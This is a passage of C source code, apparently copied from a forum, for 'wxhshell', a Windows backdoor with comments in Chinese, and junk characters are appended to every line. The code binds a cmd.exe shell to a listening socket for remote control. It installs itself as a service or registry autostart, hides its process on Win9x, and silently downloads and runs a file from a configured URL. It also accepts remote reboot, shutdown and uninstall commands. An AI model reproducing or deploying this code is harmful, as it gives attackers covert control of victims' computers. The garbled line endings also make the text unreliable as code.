      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >i6yl5s  
    break; 9WR6!.y#f  
  } &%/7E_j7  
  // 安装 b?'yAXk  
  case 'i': { +j4"!:N}B  
    if(Install()) Tq~=TSD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vz!s~cAt  
    else h3;bxq!q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RG4sQ0  
    break; /7YF mI/0  
    } YSe.t_K2C  
  // 卸载 9tqF8pb7v  
  case 'r': { PV=5UyjW  
    if(Uninstall()) Gmz6$^D   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?pza G{  
    else 5;{H&O9Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @n": w2^B  
    break; f^.AD-  
    } EE W_gFn  
  // 显示 wxhshell 所在路径 jNC4_q&  
  case 'p': { y? co|  
    char svExeFile[MAX_PATH]; 0xXC^jx:  
    strcpy(svExeFile,"\n\r"); ;I!MLI  
      strcat(svExeFile,ExeFile); jXMyPNTK  
        send(wsh,svExeFile,strlen(svExeFile),0); xagBORg+Bd  
    break; Dmu/RD5X:  
    } *~x/=.}  
  // 重启 0/oyf]HR  
  case 'b': { # m *J&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aVd,xl  
    if(Boot(REBOOT)) :]1 TGfS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Roc|)-47  
    else { Kp,M"Y  
    closesocket(wsh); -Zz$~$  
    ExitThread(0); w4d--[Q  
    } [2{1b`e  
    break; ^R@j=_8}  
    } Jtk|w[4L  
  // 关机 aX}P|l  
  case 'd': { J>bJ 449B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4%3M b-#Y]  
    if(Boot(SHUTDOWN)) E2{FK)qT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ({=gw9f  
    else { ;/rXQe1  
    closesocket(wsh); I}vmU^Y>  
    ExitThread(0); 9,r rQQD_  
    } qm8&*UuKJ  
    break; +@/"%9w  
    } jav#f{'  
  // 获取shell 1wP-  
  case 's': { #"5 Dk#@  
    CmdShell(wsh); a qc?pqM  
    closesocket(wsh); v3jg~"!  
    ExitThread(0); $"H{4 x`-  
    break; E0?iXSJ  
  } ])!o5`ltZ  
  // 退出 a0ObBe'  
  case 'x': { ;{" +g)u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 81i655!Z  
    CloseIt(wsh); L# 2+z@g  
    break; 7fba-7-P  
    } w2'f/  
  // 离开  pn5Q5xc  
  case 'q': { K]0JC/R6(@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5)MS~ii  
    closesocket(wsh); }dd8N5b  
    WSACleanup(); #hsx#x||  
    exit(1); EL9]QI  
    break; B,=H@[Fj  
        } /x1![$oC0  
  } &mtJRfnu  
  } HI11Jl}{  
=^5Alb a/  
  // 提示信息 KW^7H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y;o^- O  
} &Ob!4+v/GP  
  } $ . 9V&  
>\Ww;1yV  
  return; wLOB}ZMT  
} 9^G/8<^^>  
Aw5HF34J  
// shell模块句柄 S :<Nc{C  
int CmdShell(SOCKET sock) Gnq?"</  
{ } =]M2}  
STARTUPINFO si; 3S}Pm2D2  
ZeroMemory(&si,sizeof(si)); w_{wBL[3e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hK,Sf ;5V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pj?f?.^  
PROCESS_INFORMATION ProcessInfo; 7w6cwHrL@  
char cmdline[]="cmd"; Evjj"h&0J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7G>dTO  
  return 0; Q{5kxw1ZF  
} 3skC$mpJHw  
,~]tg77  
// 自身启动模式 %s(k_|G+4  
int StartFromService(void) "pRtczxOgR  
{ b7p@Dn?E  
typedef struct aD$v2)RR  
{ 3 C<L  
  DWORD ExitStatus; cZ2kYn 8  
  DWORD PebBaseAddress; [CXrSST")E  
  DWORD AffinityMask; ?3.b{Cq{-  
  DWORD BasePriority; <yH4HY  
  ULONG UniqueProcessId; J.xPv)1'  
  ULONG InheritedFromUniqueProcessId; *=I}Qh(1  
}   PROCESS_BASIC_INFORMATION; #/<&*Pu5t  
U5.LDv;  
PROCNTQSIP NtQueryInformationProcess; /q`xCS  
0p}D(m2B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2 Cv4=S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YLzx<~E4a  
2-Ej4I~  
  HANDLE             hProcess; 5?F__Hx*2  
  PROCESS_BASIC_INFORMATION pbi; Bx4w)9+3  
U_n9]Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .jk@IL  
  if(NULL == hInst ) return 0; 9#MBaO8_"  
zZ` _D|<m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~U@;gLoD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2h1vVF3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t_$2CRG#  
"C{}Z  
  if (!NtQueryInformationProcess) return 0; .xm.DRk3  
vRH d&0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xk5@d6Y{r  
  if(!hProcess) return 0; HV{wI1  
g9Xu@N;bL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K+3IWZ&+dG  
2;DuHO1  
  CloseHandle(hProcess); dE4L=sTEsy  
sE Q=dcK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yEhTNBa*h{  
if(hProcess==NULL) return 0; :<bB?N(  
#0P$M!%  
HMODULE hMod; :?g:~+hfO  
char procName[255]; $',K7%y  
unsigned long cbNeeded; z4jR[x,  
lrIS{MJ+-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &)AVzN+*h  
A|X">,A  
  CloseHandle(hProcess); opy("qH  
yl7&5)b#9  
if(strstr(procName,"services")) return 1; // 以服务启动 "2)H'<  
]dGw2y  
  return 0; // 注册表启动 %&w3;d;c  
} =,_ +0M9  
pu 7{a  
// 主模块 0;AA/  
int StartWxhshell(LPSTR lpCmdLine) ?&63#B,iZ  
{ /tf5Bv'<  
  SOCKET wsl; !O:y@  
BOOL val=TRUE; y}My.c  
  int port=0; pEIRh1  
  struct sockaddr_in door; GS a [ oh  
)GM41t1i  
  if(wscfg.ws_autoins) Install(); VFURAYS  
FrL]^59a  
port=atoi(lpCmdLine); FtfKe"qw  
-xEXN[\S  
if(port<=0) port=wscfg.ws_port; %t" CX5 n  
7!EBH(,z  
  WSADATA data; ~M7y*'oY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =F]FP5V  
+wN^c#~7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,y 2$cO_>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kt["m.  
  door.sin_family = AF_INET; M42 Ssn)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U |Jo{(Y  
  door.sin_port = htons(port); ZjQ |Wx  
s'E2P[:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ND>r#(_\  
closesocket(wsl); LYz.Ci}  
return 1; vdx0i&RiL  
} g!?:Ye`5  
?fUlgQ }N  
  if(listen(wsl,2) == INVALID_SOCKET) { Jrti cK$  
closesocket(wsl); aTqd@},?  
return 1; V )x$|!(  
} D6>2s\:>vp  
  Wxhshell(wsl); CF&6J$ZBgJ  
  WSACleanup(); z$/_I0[  
;*:]*|bw  
return 0; f78An 8  
>0p h9$  
} Mn2QZp4  
j3{I /m  
// 以NT服务方式启动 )FF>IFHG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >*#1ZB_l  
{ 1 u| wMO  
DWORD   status = 0; ?'@8kpb  
  DWORD   specificError = 0xfffffff; 5q;GIw^L  
g*e   
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7hlO#PYZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Jq&uF*!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i|w81p^o  
  serviceStatus.dwWin32ExitCode     = 0; 0?\Zm)Q~(  
  serviceStatus.dwServiceSpecificExitCode = 0; im9G,e  
  serviceStatus.dwCheckPoint       = 0; JEahGzO  
  serviceStatus.dwWaitHint       = 0; F+ ,~v-  
} z _  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "$ Y_UJT7  
  if (hServiceStatusHandle==0) return; jkiFLtB@V  
bx{$Y_L+p  
status = GetLastError(); w)kNkD  
  if (status!=NO_ERROR) dZ  rAn  
{ %C~1^9uq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2 Ga7$q  
    serviceStatus.dwCheckPoint       = 0; =BSzsH7  
    serviceStatus.dwWaitHint       = 0; "a ueL/dgN  
    serviceStatus.dwWin32ExitCode     = status; F)&@P-9+  
    serviceStatus.dwServiceSpecificExitCode = specificError; aY'C%^h]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]iN'x?Fo  
    return; :PIF07$xl  
  } :km61  
D coX+8 7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7n8~K3~;  
  serviceStatus.dwCheckPoint       = 0; \O*-#}~\  
  serviceStatus.dwWaitHint       = 0; TcjEcMw,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rot@x r7Hc  
} kP#B5K_U|  
T>}5:,N~  
// 处理NT服务事件,比如:启动、停止 L+Xc-uv["p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *1p|5!4c  
{ @kpv{`Y  
switch(fdwControl) 2XFU1 AW  
{ <j*;.yyC  
case SERVICE_CONTROL_STOP: iOR_[y,  
  serviceStatus.dwWin32ExitCode = 0; F(k.,0Nc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +BVym~*^  
  serviceStatus.dwCheckPoint   = 0; zLD0RBj7p  
  serviceStatus.dwWaitHint     = 0; T (OW  
  { f&eK|7J_Yf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WG6FQAo^8  
  } W-x?:X<}  
  return; @ezH'y-v  
case SERVICE_CONTROL_PAUSE: \m7-rV6r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qy^1*j<@&  
  break; 4L ;% h  
case SERVICE_CONTROL_CONTINUE: WHsgjvh"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  tBq nf v  
  break; pm*xb]8y  
case SERVICE_CONTROL_INTERROGATE: #MX'^RZ>2  
  break; =|M>l  
}; o<<xY<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1rv)&tKs  
} ])|d"[ur=  
//T>G_1  
// 标准应用程序主函数 )PG6gZYW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T]t+E'sQ  
{ A )^`?m3  
GN ]cDik  
// 获取操作系统版本 T&%ux=Jt  
OsIsNt=GetOsVer(); Kqp(%8mf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &Sl[ lXE  
y4t7`-,~  
  // 从命令行安装 jhXkSj  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q<h-FW8z  
yaah*1ip[  
  // 下载执行文件 9K5pwC\$%  
if(wscfg.ws_downexe) { ),UX4%K=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Gb8D[1=u=  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,4zmb`dP<  
} c_-drS  
WFO4gB*  
if(!OsIsNt) { DF1I[b=]  
// 如果时win9x,隐藏进程并且设置为注册表启动 YVYu:}e3)  
HideProc(); $}J5xG,}$  
StartWxhshell(lpCmdLine); }Mf!-g  
} BGOuDKz9C  
else v1BDP<qU2  
  if(StartFromService()) jT8#C=a7  
  // 以服务方式启动 e\Y*F  
  StartServiceCtrlDispatcher(DispatchTable); mz @T  
else 3Mxp)uG/  
  // 普通方式启动 ]Y2RqXA*  
  StartWxhshell(lpCmdLine); g#F?!i-[F  
2"Ecd  
return 0; p[hZ@f(z  
}
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只看该作者 1 发表于: 2006-10-10
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